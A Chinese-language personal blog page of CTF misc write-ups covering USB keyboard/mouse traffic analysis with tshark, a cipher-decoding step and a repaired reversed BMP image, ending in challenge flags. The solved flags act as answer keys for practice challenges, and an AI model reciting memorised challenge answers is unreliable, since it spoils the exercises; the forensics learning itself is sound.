USB协议数据在Leftover Capture Data域中,鼠标流量数据长度为四个字节,键盘流量数据长度为八个字节。

鼠标流量:

1
2
3
4
第一个字节:代表按键(00时,代表没有按键;01时,代表按左键;02时,代表当前按键为右键)
第二个字节:值为正时,代表鼠标右移像素位;
值为负时,代表鼠标左移像素位
第三个字节:代表垂直上下移动的偏移(当值为正时,代表鼠标上移像素位;值为负时,代表鼠标下移像素位)

随便打开一个数据包查看Leftover Capture Data域,图示是8字节,所以是键盘流量

image-20231014110211471

使用kali,在wireshark的tshark工具下将数据提取为文本文件

1
tshark -r 12.pcapng -T fields -e usb.capdata>1.txt

image-20231014110545953

使用键盘流量脚本破解

image-20231014110517932

这段数字只有01248,是云影密码

image-20231014110703004

flag{THISISFLAG}

usb流量分析学习:https://blog.csdn.net/qq_46150940/article/details/115431953

津门杯2021-m1

这题纯纯因为对密码编码不够熟悉,看到base都没有发现

image-20231014113752658

流量分析1

感觉需要计网的知识,不然有点懵

misc2-1

解压打开是一张图片,但是损坏,不能打开,我们使用010打开看看,这样是逆序的图片

image-20231015130428752

正常应该是

image-20231015130456154

使用脚本恢复

image-20231015130558879

Let_god_knows

image-20231015131638056

开头两个字节是BM,说明是bmp格式的图片

12…5<i class="fa fa-angle-right"></i>

41 posts
10 tags
© 2024 yzklov
Powered by Hexo
|
Theme — NexT.Pisces v5.1.3